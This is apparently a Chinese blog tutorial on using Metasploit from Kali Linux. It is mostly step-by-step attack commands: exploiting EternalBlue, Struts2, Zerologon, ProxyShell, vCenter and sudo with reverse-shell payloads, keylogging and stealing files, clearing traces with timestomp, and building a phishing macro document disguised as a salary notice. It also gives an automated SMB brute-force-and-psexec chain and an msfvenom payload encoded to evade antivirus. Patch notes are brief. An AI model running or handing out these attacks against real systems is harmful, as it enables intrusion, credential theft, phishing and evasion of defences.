一、Metasploit 是什么?
网络安全领域的“军火库”
作为 Kali Linux 的核心渗透工具,Metasploit 提供:
✅ 2000+ 漏洞利用模块(Exploits)
✅ 550+ 攻击载荷(Payloads)
✅ 自动化渗透流程:侦查 → 漏洞利用 → 权限提升 → 内网漫游 → 痕迹清除
二、Kali 中启动 Metasploit
# 启动PostgreSQL服务(必须)
sudo systemctl start postgresql
# 初始化数据库
msfdb init
# 进入控制台
msfconsole
启动后将看到标志性的 msf6 >
命令提示符
三、五大核心功能实战演示
场景1:漏洞扫描与利用(以永恒之蓝为例)
# 搜索漏洞模块
msf6 > search type:exploit name:eternalblue
# 选用模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 查看需配置的参数
msf6 exploit(ms17_010_eternalblue) > show options
# 设置目标IP
set RHOSTS 192.168.1.100
# 选择攻击载荷(Windows反向Shell)
set payload windows/x64/meterpreter/reverse_tcp
# 设置监听端(本机Kali IP)
set LHOST 192.168.1.50
# 执行渗透
msf6 exploit(ms17_010_eternalblue) > run
成功标志:获得 meterpreter >
交互会话
场景2:后渗透控制(Meterpreter 魔法)
# 获取系统信息
meterpreter > sysinfo
# 截取目标屏幕
meterpreter > screenshot
# 开启键盘记录
meterpreter > keyscan_start
# 下载敏感文件
meterpreter > download C:\\Users\\Admin\\passwords.txt
# 权限提升
meterpreter > getsystem
四、企业级模块应用链
阶段 | 命令示例 | 作用 |
---|---|---|
信息收集 | use auxiliary/scanner/smb/smb_version |
探测SMB服务版本 |
漏洞验证 | use auxiliary/scanner/http/jboss_vulnscan |
JBoss漏洞诊断 |
社会工程 | use exploit/multi/handler |
钓鱼攻击载荷监听 |
痕迹清除 | meterpreter > timestomp -f |
修改文件时间属性 |
一、Web应用漏洞:Apache Struts2 RCE (CVE-2017-5638)
msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(struts2) > set RHOSTS 10.2.0.101
msf6 exploit(struts2) > set TARGETURI /orders.action
msf6 exploit(struts2) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(struts2) > run
技术要点:
-
利用Content-Type头OGNL表达式注入
-
影响版本:Struts 2.3.5 – 2.3.31, 2.5 – 2.5.10
修复方案:升级至Struts 2.3.32/2.5.10.1+
二、Linux提权漏洞:Sudo权限绕过 (CVE-2021-3156)
msf6 > use exploit/linux/local/sudo_baron_samedit
msf6 exploit(sudo) > set SESSION 1 # 需已有低权shell会话
msf6 exploit(sudo) > set LHOST eth0
msf6 exploit(sudo) > run
技术要点:
-
利用sudoedit参数解析堆溢出
-
影响版本:sudo 1.8.2 – 1.8.31p2/1.9.0 – 1.9.5p1
修复方案:apt install sudo -y
升级最新版
三、Windows域控漏洞:Zerologon (CVE-2020-1472)
msf6 > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6 auxiliary(zerologon) > set RHOST 192.168.10.10 # 域控制器IP
msf6 auxiliary(zerologon) > run
[+] Netlogon协议验证绕过成功!
[+] 执行强制密码重置:
msf6 auxiliary(zerologon) > set ACTION RESET
msf6 auxiliary(zerologon) > run
技术要点:
-
伪造全零认证令牌接管域控
-
影响所有Windows Server 2008R2+域控制器
修复方案:安装微软2020年8月紧急补丁
四、邮件服务器漏洞:Microsoft Exchange SSRF (ProxyShell)
msf6 > use exploit/windows/http/exchange_proxyshell_rce
msf6 exploit(proxyshell) > set RHOSTS mail.corp.com
msf6 exploit(proxyshell) > set EMAIL admin@corp.com
msf6 exploit(proxyshell) > set payload windows/x64/meterpreter/reverse_https
msf6 exploit(proxyshell) > exploit
技术要点:
-
组合利用CVE-2021-34473/34523/31207
-
通过SSRF实现非认证RCE
修复方案:安装Exchange 2016/2019 CU22+
五、云服务漏洞:VMware vCenter RCE (CVE-2021-21972)
msf6 > use exploit/multi/http/vmware_vcenter_ova_rce
msf6 exploit(vcenter) > set RHOSTS 172.16.30.5
msf6 exploit(vcenter) > set TARGET 0 # 自动检测操作系统
msf6 exploit(vcenter) > set payload linux/x64/shell_reverse_tcp
msf6 exploit(vcenter) > exploit
技术要点:
-
利用vSphere Client Virtual Appliance插件漏洞
-
影响vCenter Server 6.5/6.7/7.0
修复方案:升级至6.7 U3n/7.0 U2b+
六、跨平台攻击:恶意文档生成 (Office宏+RCE)
msf6 > use exploit/multi/fileformat/office_word_macro
msf6 exploit(macro) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(macro) > set FILENAME 薪资调整通知.doc
msf6 exploit(macro) > exploit
[+] 生成恶意文档:/root/.msf4/local/薪资调整通知.doc
社会工程组合技:
-
通过钓鱼邮件发送此文档
-
目标启用宏即触发漏洞
-
配合
exploit/multi/handler
监听反弹shell
高阶技巧:自动化漏洞链攻击
# 在msfconsole中执行自动化脚本
msf6 > resource /path/to/attack_chain.rc
attack_chain.rc 示例内容:
# 步骤1:扫描目标网络
use auxiliary/scanner/ip/ipidseq
set RHOSTS 192.168.5.0/24
run
# 步骤2:爆破SMB服务
use auxiliary/scanner/smb/smb_login
set USER_FILE /tmp/users.txt
set PASS_FILE /tmp/pass.txt
run
# 步骤3:发现漏洞主机自动攻击
use exploit/windows/smb/psexec
set RHOSTS file:/tmp/smb_success.txt
set payload windows/x64/meterpreter/bind_tcp
run
📊 漏洞影响统计表(提升专业度)
漏洞名称 | CVSS评分 | 影响范围 | 利用复杂度 |
---|---|---|---|
Apache Struts2 | 10.0 | 全球35%企业系统 | ★★☆☆☆ |
Sudo提权 | 7.8 | Linux服务器 | ★★★☆☆ |
Zerologon | 10.0 | 企业域控 | ★★☆☆☆ |
ProxyShell | 9.8 | Exchange服务器 | ★★★★☆ |
一、高级技巧彩蛋
绕过杀毒软件的Payload生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=443 \
--encoder x86/shikata_ga_nai -i 5 -f exe -o payload.exe
使用
shikata_ga_nai
编码器迭代5次混淆,显著降低检出率
暂无评论内容